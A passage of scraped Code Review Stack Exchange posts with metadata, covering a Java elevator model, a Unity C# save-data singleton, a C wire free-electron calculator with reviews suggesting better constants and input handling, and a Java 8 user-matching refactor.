getSecond(); break; case THIRD: floor = getThird(); break; case FOURTH: floor = getFourth(); break; default: throw new IllegalStateException(&quot;Unexpected value: &quot; + floorNumber); } return floor; } public List&lt;Floor&gt; upFloors() { List&lt;Floor&gt; floors = Arrays.asList(ground, first, second, third, fourth); Collections.sort(floors); return floors; } public List&lt;Floor&gt; downFloors() { List&lt;Floor&gt; floors = Arrays.asList(ground, first, second, third, fourth); Collections.reverse(floors); return floors; } } </code></pre> <p>Floor class</p> <pre><code>import java.util.Comparator; import java.util.concurrent.BlockingQueue; import java.util.concurrent.LinkedBlockingQueue; @Data public class Floor implements Comparable&lt;Floor&gt;, Comparator&lt;Floor&gt; { private FloorNumber floorNumber; private BlockingQueue&lt;Person&gt; people; private BlockingQueue&lt;Person&gt; elevatorQueue; public Floor(FloorNumber floorNumber) { this.floorNumber = floorNumber; this.people = new LinkedBlockingQueue&lt;&gt;(); this.elevatorQueue = new LinkedBlockingQueue&lt;&gt;(); } @Override public int compareTo(Floor floor) { return Integer.compare(getElevatorQueue().size(), floor.getElevatorQueue().size()); } @Override public int compare(Floor o1, Floor o2) { return Integer.compare(o1.getFloorNumber().num(), o2.getFloorNumber().num()); } } </code></pre> <p>Person class</p> <pre><code>public class Person { private final Integer id; private FloorNumber current; private FloorNumber destination; private final UUID uuid; public Person(FloorNumber current, FloorNumber destination) { this.id = 1; this.current = current; this.destination = destination; this.uuid = UUID.randomUUID(); } public Person(){ this.id = 1; this.uuid = UUID.randomUUID(); } public Integer get() { return id; } public FloorNumber getCurrent() { return current; } public void setCurrent(FloorNumber current) { this.current = current; } public FloorNumber getDestination() { return destination; } public void setDestination(FloorNumber destination) { this.destination = destination; } @Override public boolean equals(Object o) { if (this == o) return true; if (o == null || getClass() != o.getClass()) return false; Person person = (Person) o; return uuid.equals(person.uuid); } @Override public int hashCode() { return Objects.hash(uuid); } } </code></pre> <p>FloorNumber enum</p> <pre><code>public enum FloorNumber { GROUND(0), FIRST(1), SECOND(2), THIRD(3), FOURTH(4); private final Integer num; private FloorNumber(Integer num) { this.num = num; } public int num() { return this.num; } } </code></pre> <p>Direction enum</p> <pre><code>public enum Direction { UP, DOWN; } </code></pre>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-13T13:07:58.730", "Id": "499745", "Score": "4", "body": "You have external imports that I don't have in my IDE. Can you modify your code so it's plain vanilla Java?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-14T02:09:31.180", "Id": "499800", "Score": "2", "body": "It would also be useful context if we could see `Building`, `Floor`, etc." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-14T20:20:32.537", "Id": "499836", "Score": "0", "body": "Just added other classes," } ]
[]
{ "AcceptedAnswerId": null, "CommentCount": "3", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-13T11:44:26.083", "Id": "253418", "Score": "2", "Tags": [ "java", "object-oriented" ], "Title": "Movement of the elevator inside the building" }
253418
<p>I have a static <code>PlayerData</code> singleton which stores all the data for the player (gold, upgrades, heroes etc) but <code>JsonUtility</code> cannot serialise static or private methods so I have implemented a singleton with an intermediate <code>SaveFile</code> struct which is used in the serialisation.</p> <p><code>PlayerData</code> will have more complex objects likes <code>HeroCollection</code> etc but for now, I simply have a gold stat.</p> <p>I am looking for a potentially better alternative solution or simply how to improve this.</p> <p>Thanks.</p> <pre><code>struct SaveFile { public int Gold; } public class PlayerData { static PlayerData Instance = null; // # - Private Attributes - # int _Gold; // ... Heroes // ... Upgrades // ... Etc // # - - - - - - - # // # - Public Static Attributes - # public static int Gold { get { return Instance._Gold; } set { Instance._Gold = value; } } // # - - - - - - - # public static void Create(string json) { if (Instance == null) Instance = FromJson(json); } public static string ToJson() { return JsonUtility.ToJson( new SaveFile() { Gold = Instance._Gold } ); } static PlayerData FromJson(string json) { SaveFile save = JsonUtility.FromJson&lt;SaveFile&gt;(json); return new PlayerData() { _Gold = save.Gold }; } } </code></pre>
[]
[ { "body": "<p>Here are my observations after a quick review:</p>\n<ul>\n<li>First of all your class is not a thread-safe singleton.\n<ul>\n<li>Please read <a href=\"https://csharpindepth.com/articles/singleton\" rel=\"nofollow noreferrer\">Jon Skeet</a>'s guidance how to implement is properly.</li>\n</ul>\n</li>\n<li>As I understand you would like to implement a <a href=\"https://en.wikipedia.org/wiki/Memento_pattern\" rel=\"nofollow noreferrer\">Memento pattern</a> in C#.\n<ul>\n<li>There are a couple of good samples how to implement it properly: <a href=\"https://www.dofactory.com/net/memento-design-pattern\" rel=\"nofollow noreferrer\">1</a>, <a href=\"https://exceptionnotfound.net/memento-pattern-in-csharp/\" rel=\"nofollow noreferrer\">2</a>, <a href=\"https://refactoring.guru/design-patterns/memento/csharp/example#:%7E:text=Memento%20is%20a%20behavioral%20design,data%20kept%20inside%20the%20snapshots.\" rel=\"nofollow noreferrer\">3</a></li>\n<li>BTW you can also use the <a href=\"https://github.com/godrose/Solid\" rel=\"nofollow noreferrer\">Solid nuget</a> package as well</li>\n</ul>\n</li>\n<li>Sorry but your naming is terrible, please try to follow some guideline, like:\n<ul>\n<li>Name your functions / methods in a way that they start with a verb, for example: <code>SaveState</code>, <code>RestoreState</code></li>\n<li>Name Your classes/ structs in a way that they are nouns (w/o adjective), for example: <code>PlayerState</code>,<code>PortablePlayerState</code></li>\n</ul>\n</li>\n</ul>\n", "comments": [], "meta_data": { "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-15T14:03:03.370", "Id": "253503", "ParentId": "253423", "Score": "0" } } ]
{ "AcceptedAnswerId": null, "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-13T15:04:54.990", "Id": "253423", "Score": "0", "Tags": [ "c#", "json", "serialization", "unity3d" ], "Title": "Unity Static Singleton JSON Serialisation" }
253423
<p>Continuing to improve on my C skills.</p> <p>This is a calculator program that runs in the terminal.</p> <p>Given a segment of wire of a certain material, gauge, and length, calculates the total number of free electrons (electrons with high mobility), free charge density, and drift velocity at 1 amp.</p> <p><em>Source also available in the repo</em> <a href="https://github.com/BitCruncher0/FreeElectron" rel="nofollow noreferrer">https://github.com/BitCruncher0/FreeElectron</a></p> <p><strong>main.c</strong></p> <pre><code>#include &lt;stdio.h&gt; #include &lt;math.h&gt; #include &lt;string.h&gt; #include &lt;stdlib.h&gt; #include &quot;defines.h&quot; #include &quot;prompt.h&quot; #include &quot;convert.h&quot; #include &quot;geometry.h&quot; #include &quot;material.h&quot; #include &quot;wire.h&quot; double calc_drift_speed(double current, double carrier_density, double area) { return current / (carrier_density * ELECTRONIC_CHARGE * area); } int main(void) { #ifdef RUN_REAL_PROGRAM /* Todo 1. Prompt for radius instead of AWG */ /* PROGRAM FLOW 1. Prompt for wire material 2. Prompt for AWG 3. Prompt for wire length 4. Give statistics To quit, press enter at prompts */ while(1) { char request_program_quit; const struct Material *material = prompt_material(&amp;request_program_quit); if(request_program_quit) return 0; int awg = prompt_awg(&amp;request_program_quit); if(request_program_quit) return 0; double length = prompt_length(&amp;request_program_quit); if(request_program_quit) return 0; double diameter = awg_diameter(awg); double radius = diameter / 2.0; double area = area_circle(radius); double volume = volume_cylinder(radius, length); double volume_in_cm3 = mm3_to_cm3(volume); // mass = density x volume double mass_in_grams = material-&gt;VOLUMETRIC_DENSITY * volume_in_cm3; // moles = mass / molar mass double moles = mass_in_grams / material-&gt;ATOMIC_MASS; double atoms = AVOGADROS_NUMBER * moles; double free_electrons = material-&gt;FREE_ELECTRONS_PER_ATOM * atoms; double free_charge = free_electrons * -ELECTRONIC_CHARGE; double carrier_density = free_electrons / volume; double drift_speed = calc_drift_speed(1.0, carrier_density, area); fputc('\n', stdout); printf(&quot;%i AWG %s\n&quot;, awg, material-&gt;NAME); printf( &quot;radius: %.*F mm\tdia: %.*F mm\tarea: %.*F mm^2\n&quot;, PRECISION, radius, PRECISION, diameter, PRECISION, area); printf(&quot;volume: %.*F mm^3\n&quot;, PRECISION, volume); printf(&quot;mass: %.*F g\n&quot;, PRECISION, mass_in_grams); printf(&quot;moles: %.*F mol\n&quot;, 2 * PRECISION, moles); printf(&quot;atoms: %.*E atom\n&quot;, PRECISION, atoms); printf(&quot;free elec: %.*E elec\n&quot;, PRECISION, free_electrons); printf(&quot;free charge: %.*E C\n&quot;, 2 * PRECISION, free_charge); printf(&quot;carrier density: %.*E elec/mm^3\n&quot;, PRECISION, carrier_density); printf(&quot;sdrift @ 1 A: %.*E mm/s\n&quot;, PRECISION, drift_speed); fputc('\n', stdout); } #endif } </code></pre> <p><strong>defines.h</strong></p> <pre><code>#pragma once #define RUN_REAL_PROGRAM #define PRECISION 3 #define PI 3.14159 #define AVOGADROS_NUMBER 6.022 * pow(10, 23) #define ELECTRONIC_CHARGE 1.602 * pow(10, -19) #define INPUT_BUFFER_SIZE 255 </code></pre> <p><strong>prompt.h</strong></p> <pre><code>#pragma once /* Prints out a message and prompts the user for input. The zero-terminated input is stored in the buffer; the newline is stripped. Characters are read up until the first newline or until num_chars - 1 are read, whichever comes first. Returns a pointer to the buffer. */ char *prompt(const char *msg, char *buffer, size_t num_chars); /* Like prompt(), except a quit string is given. If the input is the same as quit_str, returns 1. Returns 0 otherwise. */ char prompt_quit( const char *msg, char *buffer, size_t num_chars, const char *quit_str); /* Continually prompts the user for a long-formatted string until one is given or until the input is equal to quit_str. If the input was equal to quit_str, then the flag pointed to by req is set and returns 0. Otherwise, the flag pointed to by req is cleared and returns the long value. */ long prompt_long(const char *msg, const char *quit_str, char *req); double prompt_double(const char *msg, const char *quit_str, char *req); /* Strips str of the newline character at the end. Returns 0 on successful removal or 1 if no newline character is found. str points to a zero-terminated string that contains at most one newline character. */ char removeNewline(char *str); </code></pre> <p><strong>prompt.c</strong></p> <pre><code>#include &lt;stdio.h&gt; #include &lt;string.h&gt; #include &quot;defines.h&quot; #include &quot;prompt.h&quot; #include &quot;convert.h&quot; char *prompt(const char *msg, char *buffer, size_t num_chars) { fputs(msg, stdout); fgets(buffer, num_chars, stdin); removeNewline(buffer); return buffer; } char prompt_quit( const char *msg, char *buffer, size_t num_chars, const char *quit_str) { if(strcmp(prompt(msg, buffer, num_chars), quit_str)) return 0; else return 1; } long prompt_long(const char *msg, const char *quit_str, char *request_quit) { while(1) { char buf[INPUT_BUFFER_SIZE + 1]; if(prompt_quit(msg, buf, INPUT_BUFFER_SIZE + 1, quit_str)) { *request_quit = 1; return 0; } // Attempt to convert string to numerical char conversion_error; long result = cstr_to_long(buf, &amp;conversion_error); if(conversion_error) { fputs(&quot;Invalid input\n\n&quot;, stdout); continue; } *request_quit = 0; return result; } } double prompt_double(const char *msg, const char *quit_str, char *request_quit) { while(1) { char buf[INPUT_BUFFER_SIZE + 1]; if(prompt_quit(msg, buf, INPUT_BUFFER_SIZE + 1, quit_str)) { *request_quit = 1; return 0; } // Attempt to convert string to numerical char conversion_error; double result = cstr_to_double(buf, &amp;conversion_error); if(conversion_error) { fputs(&quot;Invalid input\n\n&quot;, stdout); continue; } *request_quit = 0; return result; } } char removeNewline(char *str) { int i; for(i = 0; str[i] != 0; i++) { if(str[i] == '\n') { str[i] = 0; return 0; } } return 1; } </code></pre> <p><strong>convert.h</strong></p> <pre><code>#pragma once /* Converts zero-terminated string to long int. If no conversion could be made, flag at conversion_error is set and returns 0. Otherwise, flag at conversion_error is cleared and returns the value. */ long cstr_to_long(const char *, char *conversion_error); double cstr_to_double(const char *, char *conversion_error); </code></pre> <p><strong>convert.c</strong></p> <pre><code>#include &lt;stdlib.h&gt; long cstr_to_long(const char *str, char *conversion_err) { char *end; long result = strtol(str, &amp;end, 10); *conversion_err = ((*end) == 0) ? 0 : 1; return result; } double cstr_to_double(const char *str, char *conversion_err) { char *end; double result = strtod(str, &amp;end); *conversion_err = ((*end) == 0) ? 0 : 1; return result; } </code></pre> <p><strong>geometry.h</strong></p> <pre><code>#pragma once double area_circle(double radius); double volume_cylinder(double radius, double length); double mm3_to_cm3(double mm3); </code></pre> <p><strong>geometry.c</strong></p> <pre><code>#include &lt;math.h&gt; #include &quot;defines.h&quot; double area_circle(double radius) { return PI * pow(radius, 2); } double volume_cylinder(double radius, double length) { return length * area_circle(radius); } double mm3_to_cm3(double mm3) { return mm3 / 1000.0; } </code></pre> <p><strong>material.h</strong></p> <pre><code>#pragma once struct Material { const char *NAME; const double ATOMIC_MASS; //g / mol const int FREE_ELECTRONS_PER_ATOM; //# const double VOLUMETRIC_DENSITY; //g / cm3 }; void print_materials_list(void); const struct Material *str_to_material(const char *str); const struct Material *prompt_material(char *quit); </code></pre> <p><strong>material.c</strong></p> <pre><code>#include &lt;stdio.h&gt; #include &lt;string.h&gt; #include &quot;defines.h&quot; #include &quot;material.h&quot; #include &quot;prompt.h&quot; const struct Material COPPER = { &quot;copper&quot;, 63.546, 1, 8.96 }; const struct Material ALUMINIUM = { &quot;aluminium&quot;, 26.982, 3, 2.7 }; const struct Material GOLD = { &quot;gold&quot;, 196.97, 1, 19.3 }; const struct Material NULL_MATERIAL = { &quot;null_material&quot;, 0, 0, 0 }; void print_materials_list(void) { fputs(&quot;Materials list\n&quot;, stdout); fputs(&quot;1. copper\n&quot;, stdout); fputs(&quot;2. aluminium\n&quot;, stdout); fputs(&quot;3. gold&quot;, stdout); } const struct Material *str_to_material(const char *str) { if(!strcmp(str, &quot;copper&quot;)) return &amp;COPPER; else if(!strcmp(str, &quot;aluminium&quot;)) return &amp;ALUMINIUM; else if(!strcmp(str, &quot;gold&quot;)) return &amp;GOLD; else return &amp;NULL_MATERIAL; } const struct Material *prompt_material(char *quit) { while(1) { print_materials_list(); fputs(&quot;\n\n&quot;, stdout); char buf[INPUT_BUFFER_SIZE + 1]; if(prompt_quit(&quot;Material? &quot;, buf, INPUT_BUFFER_SIZE + 1, &quot;&quot;)) { *quit = 1; return &amp;NULL_MATERIAL; } else { const struct Material *p_mat = str_to_material(buf); if(p_mat == &amp;NULL_MATERIAL) { fputs(&quot;Not a valid material\n\n&quot;, stdout); } else { *quit = 0; return p_mat; } } } } </code></pre> <p><strong>wire.h</strong></p> <pre><code>#pragma once /* Returns diameter (in millimeters) of given AWG */ double awg_diameter(int AWG); /* Continually prompts the user for a valid wire gauge number until one is entered or until an empty string is entered. If an empty string is entered, the flag pointed to by quit is set and returns 0, otherwise the flag at quit is cleared and returns the wire gauge. */ int prompt_awg(char *quit); double prompt_length(char *quit); void TEST_print_awg_diameters(void); void TEST_print_awg_areas(void); </code></pre> <p><strong>wire.c</strong></p> <pre><code>#include &lt;stdio.h&gt; #include &lt;math.h&gt; #include &quot;prompt.h&quot; #include &quot;geometry.h&quot; double awg_diameter(int awg) { return 0.127 * pow(92, (36.0 - awg) / 39); } int prompt_awg(char *quit) { while(1) { long awg = prompt_long(&quot;AWG [0 - 36]? &quot;, &quot;&quot;, quit); if(*quit) return 0; // 0 &lt;= AWG &lt;= 36 else if((awg &lt; 0) || (awg &gt; 36)) fputs(&quot;Not a valid AWG\n\n&quot;, stdout); else { *quit = 0; return (int)awg; } } } double prompt_length(char *quit) { while(1) { double length = prompt_double(&quot;Wire length (mm) (0 - inf)? &quot;, &quot;&quot;, quit); if(*quit) return 0; // 0 &lt; Wire length else if(length &lt;= 0) fputs(&quot;Not a valid wire length\n\n&quot;, stdout); else { *quit = 0; return length; } } } void TEST_print_awg_diameters(void) { int awg; for(awg = 0; awg &lt;= 36; awg++) { printf(&quot;%d: %.*F\n&quot;, awg, 3, awg_diameter(awg)); } fputc('\n', stdout); } void TEST_print_awg_areas(void) { int awg; for(awg = 0; awg &lt;= 36; awg++) { printf(&quot;%i: %.*F\n&quot;, awg, 3, area_circle(awg_diameter(awg) / 2.0)); } fputc('\n', stdout); } </code></pre>
[]
[ { "body": "<p><strong>Constants weaknesses</strong></p>\n<p>OP uses a reduced precision version of pi. I recommend a better one. Code like <code>6.022 * pow(10, 23)</code> should use a <code>()</code> to insure it does not get an out-of-order evaluation as with <code>!AVOGADROS_NUMBER</code>. Using <code>* pow(10, 23)</code> can incurring a not-the-best encoding of <code>6.022e10-23</code> due to 2 roundings of OP's multiplication and function call. Use a good referenced value <a href=\"https://en.wikipedia.org/wiki/Avogadro_constant\" rel=\"nofollow noreferrer\">N</a>, <a href=\"https://en.wikipedia.org/wiki/Elementary_charge\" rel=\"nofollow noreferrer\">e</a>. I'd add a comment to the ref link.</p>\n<p>For physical constants with units, good form to append the units to the constant.</p>\n<pre><code>// Instead of ...\n#define PI 3.14159\n#define AVOGADROS_NUMBER 6.022 * pow(10, 23)\n#define ELECTRONIC_CHARGE 1.602 * pow(10, -19)\n\n// Use \n// en.wikipedia.org/wiki/Pi\n#define PI 3.1415926535897932384626433\n// en.wikipedia.org/wiki/Avogadro_constant\n#define AVOGADROS_NUMBER 6.02214076e23\n// en.wikipedia.org/wiki/Elementary_charge\n#define ELECTRONIC_CHARGE 1.602176634e−19 /* coulombs */\n</code></pre>\n<p>Various magic numbers like <code>63.546</code> for copper deserve a reference and units.</p>\n<p>Good to document units in code and .h files.</p>\n<pre><code>// return 0.127 * pow(92, (36.0 - awg) / 39);\nreturn 0.127 /* mm */ * pow(92, (36.0 - awg) / 39);\n</code></pre>\n<p><strong>Does not handle end-of-file</strong></p>\n<p>When <code>fgets()</code> return <code>NULL</code> due to end-of-file or input error, <code>prompt()</code> returns <code>buffer</code> in an unknown state. Calling code has no clue end-of-file occurred.</p>\n<pre><code>// Improved\nchar *prompt(const char *msg, char *buffer, size_t num_chars) {\n // Allow calling code to skip the prompt and not flush.\n if (msg) {\n fputs(msg, stdout);\n fflush(stdout); // Insure output seen before input. \n }\n if (fgets(buffer, num_chars, stdin) == NULL) {\n if (num_chars &gt; 0) {\n buffer[0] = '\\0'; // Insure buffer content is always defined\n }\n return NULL;\n }\n removeNewline(buffer);\n return buffer;\n}\n</code></pre>\n<p>Improvement better handling of long lines than leave the extra in <code>stdin</code>. IMO, it is an error input and the entire line should be read and tossed.</p>\n<p><strong>Corner conversion failings</strong></p>\n<p><code>cstr_to_long()</code> and <code>cstr_to_double()</code> both are fooled when <code>buffer[0] == 0</code>. (It is possible to enter <code>'\\0'</code> as the first character read.)</p>\n<p><code>cstr_to_long()</code> fails to detect/report overflow.</p>\n<pre><code>// Candidate improvement \nlong cstr_to_long(const char *str, char *conversion_err) {\n char *end;\n errno = 0;\n long result = strtol(str, &amp;end, 10);\n if (str == end) {\n *conversion_err = 1; // No conversion\n } else if (errno == ERANGE) {\n *conversion_err = 1; // Overflow\n } else if (errno) {\n *conversion_err = 1; // Implementation specific error\n } else if (*end) {\n *conversion_err = 1; // Junk after the number\n } else {\n *conversion_err = 0;\n }\n return result;\n}\n</code></pre>\n<p><strong>Missing <code>*.h</code></strong></p>\n<p>A <code>*.c</code> file should include its <code>*.h</code> first to ascertain correctness and test the <code>*.h</code> file's ability to stand on its own.</p>\n<p><a href=\"https://codereview.stackexchange.com/questions/253425/calculate-the-free-electron-concentration-and-drift-speed-in-a-segment-of-wire/253444?noredirect=1#comment502170_253444\">Edit to address comment</a></p>\n<p>Consider <code>prompt.h</code> with its use of <code>size_t</code>. <code>prompt.h</code> lacks an include like <code>#include &lt;stdio.h&gt;</code> and so if some user's file included <code>prompt.h</code> first, compilation would fail. <code>prompt.c</code> does not fail OP's code because it includes various <code>&lt;*.h&gt;</code> files first. By having <code>prompt.c</code> include <code>prompt.h</code> first, such missing includes are detected. A good .h file includes all its needed *.h files and no more. A good .h does not depend on users of that file to include other .h files.</p>\n<p>Example: prompt.c</p>\n<pre><code>#include &quot;prompt.h&quot; // Include companion .h file first\n#include &lt;stdio.h&gt;\n#include &lt;string.h&gt;\n\n#include &quot;defines.h&quot;\n//#include &quot;prompt.h&quot; // Not here\n#include &quot;convert.h&quot;\n</code></pre>\n<p><strong>Naming convention</strong></p>\n<p>There is none.</p>\n<p><code>awg_diameter(), prompt_awg(), prompt_length(), TEST_print_awg_diameters(), TEST_print_awg_areas()</code> all originate in <code>wire.h</code> - Hmmm.</p>\n<p>Consider instead wire function named <code>wire_...</code> from <code>wire.h</code>, Test functions from <code>TEST.h</code>, etc.</p>\n<p><strong>Case less compare</strong></p>\n<p>I'd tolerate case-less compares and maybe periodic table abbreviation. <code>stricmp()</code> and other though are implementation defined - perhaps make your own wrapper.</p>\n<pre><code>if(!stricmp(str, &quot;copper&quot;) || !strcmp(str, &quot;Cu&quot;)) \n</code></pre>\n<p><strong><code>char</code> vs. <code>bool</code></strong></p>\n<p>For functions returning 0 or 1, return an <code>int</code> or better yet a <code>bool</code>. <code>char</code> is a strange choice.</p>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-01-13T04:25:25.260", "Id": "502170", "Score": "0", "body": "I know this is late, but could you expound on the point of the missing *.h, specifically the part where you mention the header's \"ability to stand on its own\"? Thanks." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-01-13T12:16:32.793", "Id": "502204", "Score": "0", "body": "@Mode77 Answer amended with detail." } ], "meta_data": { "CommentCount": "2", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-14T05:35:28.250", "Id": "253444", "ParentId": "253425", "Score": "2" } }, { "body": "<p>In addition to the other reviews, some misc comments:</p>\n<ul>\n<li><p>The switch <code>RUN_REAL_PROGRAM</code> is weird, doesn't seem like something that should be part of the final program - remove it.</p>\n</li>\n<li><p>In general, avoid non-standard C if there is no good reason for it. That is, replace for example non-standard <code>#pragma once</code> with standard C <code>#ifndef SOMETHING_H #define SOMETHING_H ... #endif</code>.</p>\n</li>\n<li><p>Don't create some generic header called &quot;defines.h&quot;. Instead place those defines in the module where they actually belong. <code>AVOGADROS_NUMBER</code> should probably be in material.h (?), <code>INPUT_BUFFER_SIZE</code> should be in prompt.h and so on.</p>\n</li>\n<li><p>I prefer to place all includes in the .h file rather than the .c file since the former is the interface to the user. The user needs to know all file dependencies of a .h + .c pair and shouldn't need to go digging through the .c file (which might not even be available) to find them.</p>\n</li>\n<li><p>For very long function declarations/definitions, consider using new line style:</p>\n<pre class=\"lang-c prettyprint-override\"><code>char prompt_quit(const char * msg, \n char * buffer, \n size_t num_chars, \n const char * quit_str);\n</code></pre>\n</li>\n<li><p>Avoid &quot;for ever&quot; loops when they aren't called for. Also, the presence of <code>continue</code> in a C program is almost always an indication of a poorly designed loop. So instead of the somewhat obscure: <code>while(1) { ... if(conversion_error) { ... continue; } ... return result; }</code>, write something like this instead:</p>\n<pre class=\"lang-c prettyprint-override\"><code> char conversion_error = /* non-zero value */;\n\n while(conversion_error)\n {\n ...\n long result = cstr_to_long(buf, &amp;conversion_error);\n if(conversion_error) {\n fputs(&quot;Invalid input\\n\\n&quot;, stdout);\n }\n }\n\n *request_quit = 0;\n return result;\n} // end of function\n</code></pre>\n</li>\n<li><p>If <code>conversion_error</code> is only either 1 or 0 then it should be <code>bool</code> not <code>char</code>. Overall, it is common convention to reserve the return type of functions for the error handling, especially when supported more detailed errors (through an enum type etc).</p>\n</li>\n<li><p>Your list of different materials should be implemented as an array of struct instead.</p>\n</li>\n<li><p>All constants like <code>36.0</code> and <code>39</code> have a type in C, in this case <code>double</code> and <code>int</code> respectively. Always avoid mixing floating point and fixed point in the same expression, since that's an easy way to get subtle bugs. For example <code>123 / 456 + 789.0</code> first gets the 123 / 456 calculated on <code>int</code> then implicitly promoted to <code>double</code> afterwards.</p>\n<p>So for example change <code>return 0.127 * pow(92, (36.0 - awg) / 39);</code> to <code>return 0.127 * pow(92.0, (36.0 - awg) / 39.0);</code></p>\n</li>\n<li><p>Is AWG 0 really a thing?</p>\n</li>\n</ul>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-01-14T01:32:12.310", "Id": "502291", "Score": "1", "body": "\"Is AWG 0 really a thing?\"\nYes." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-01-14T07:53:19.420", "Id": "502304", "Score": "0", "body": "\"*The user needs to know all file dependencies of a .h + .c pair*\" contradicts my rule of thumb. The header should include everything required *for the header* (a good test of that is to make it the first include of the translation unit), but it shouldn't include libraries required only to implement its definitions (and which are subject to change as the implementation is refined). Do you disagree with that principle?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-01-14T10:06:28.047", "Id": "502321", "Score": "0", "body": "@TobySpeight Say that I deliver the application programmer a library where you are only supposed to use the header. I forgot to link some internal lib to my project or to document that you need a certain lib. Then when you try to link my lib, you get \"mysterious linker error 1 in foo.c, missing mysterious function\". At which point you have no idea what \"mysterious function\" is, why it is missing, where it should be found or what caused the problem. Had I however listed all relevant header in the h file that you have access to, you would be able to trouble-shoot the problem as missing headers." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-01-14T10:08:08.090", "Id": "502323", "Score": "0", "body": "And I bet every C veteran out there can relate to situations where they have tried to integrate a 3rd party lib in their program and got shot down by such nondescript linker errors. It doesn't happen once or twice through your career, it happens some dozens of times." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-01-14T10:44:35.533", "Id": "502326", "Score": "0", "body": "I'd argue that you should then fix the header comments for the library to document the link-time requirements, rather than expect the library user to inspect your source code. TBH, I've always found the linker errors more useful for determining missing libraries than any header includes." } ], "meta_data": { "CommentCount": "5", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-01-13T14:07:55.383", "Id": "254652", "ParentId": "253425", "Score": "2" } } ]
{ "AcceptedAnswerId": null, "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-13T16:19:33.963", "Id": "253425", "Score": "5", "Tags": [ "c" ], "Title": "Calculate the free electron concentration and drift speed in a segment of wire" }
253425
<p>I'm new in Java 8, and I'm trying to convert and optimize my method from java 6 to java 8. I want it to be less verbose, with fewer lines of code.</p> <p>This method gets an object (userRequest) and tries to find from a list of other object type (User) the one with more matches between their attributes(for example, if the user requested has brown eyes, each user from the list who has brown eyes has one more match). If it results that there is more than one User, so the one with less age is chosen.</p> <p>In this example it's only used a list of 3 users and only 3 or 4 attributes, but in the future it's intended to be more, so I'd like to optimize it for multiple users and attributes.</p> <pre><code>@Getter @Setter @AllArgsConstructor @ToString public class UserRequest{ private String name; private String surname; private String company; private String eyesColor; } @Getter @Setter @AllArgsConstructor @ToString public class User{ private Long id; private String name; private String surname; private String eyesColor; private int age; } @Service public class UserServiceImpl implements UserService{ @Autowired private UserRepository userRepository; @Autowired private UserFilters userFilters; public int getMostMatchingUserId(UserRequest userRequest){ List&lt;User&gt; userList = userRepository.getUsers(); List&lt;User&gt; mostMatchingUserList = userFilters.getMostMatchingUserList(userList, userRequest); return mostMatchingUserList.stream().min(Comparator.comparing(User::getAge)).orElse(mostMatchingUserList.get(0)).getId(); } } @UtilityClass public class UserFilters{ public List&lt;User&gt; getMostMatchingUserList (List&lt;User&gt; userList, UserRequest userRequest) { List&lt;User&gt; newUserList = new ArrayList&lt;&gt;(); int matchesInitialCount = 0; for(User user: userList){ int userMatchesCount = countMatches(user, userRequest); if(userMatchesCount &gt; matchesInitialCount){ newUserList.clear(); newUserList.add(user); matchesInitialCount = userMatchesCount; } else if(userMatchesCount == matchesInitialCount){ newUserList.add(user); } } return newUserList; } private int countMatches (User user, UserRequest userRequest) { int matchesCounted = 0; if (Objects.nonNull(user.getName()) &amp;&amp; user.getName().equals(userRequest.getName())) { matchesCounted++; } if (Objects.nonNull(user.getSurname()) &amp;&amp; user.getSurname().equals(userRequest.getSurname())) { matchesCounted++; } if (Objects.nonNull(user.getAge()) &amp;&amp; user.getAge() == userRequest.getAge() { matchesCounted++; } return matchesCounted; } } </code></pre> <p>Imagine you get a new userRequest (&quot;John&quot;, &quot;Jackson&quot;, &quot;aena&quot;, &quot;brown&quot;) to check which one of the next userList has the most matches:</p> <p>User1 (111, &quot;John&quot;, &quot;Wine&quot;, &quot;blue&quot;, 37);<br /> User2 (222, &quot;Maria&quot;, &quot;Jackson&quot;, &quot;brown&quot;, 25);<br /> User3 (333, &quot;Michel&quot;, &quot;Jackson&quot;, &quot;brown&quot;, 55);</p> <p>The result is: User1 has one match and User2 &amp; User3 have two matches each. The next validation checks who is the youngest one from User2 &amp; User3: so User2 will be the chosen one.</p>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-13T23:18:02.890", "Id": "499792", "Score": "0", "body": "Simplify your methods as much as possible, try to follow the single responsibility principle which is violated by at least `getMostMatchingUserList()`." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-14T12:40:23.490", "Id": "499817", "Score": "0", "body": "The current question title, which states your concerns about the code, applies to too many questions on this site to be useful. The site standard is for the title to **simply state the task accomplished by the code**. Please see [**How do I ask a good question?**](https://CodeReview.StackExchange.com/help/how-to-ask)." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-14T13:13:25.510", "Id": "499821", "Score": "0", "body": "I've already changed the title and made it more readable and simplified. Just my main purpose is to reach the goal optimized and adapted to Java 8. @BCdotWEB" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-14T16:18:35.133", "Id": "499826", "Score": "0", "body": "Welcome to Code Review! I rolled back your last edit. After getting an answer you are not allowed to change your code anymore. This is to ensure that answers do not get invalidated and have to hit a moving target. If you have changed your code you can either post it as an answer (if it would constitute a code review) or ask a new question with your changed code (linking back to this one as reference). See the section _What should I not do?_ on [_What should I do when someone answers my question?_](https://codereview.stackexchange.com/help/someone-answers) for more information" } ]
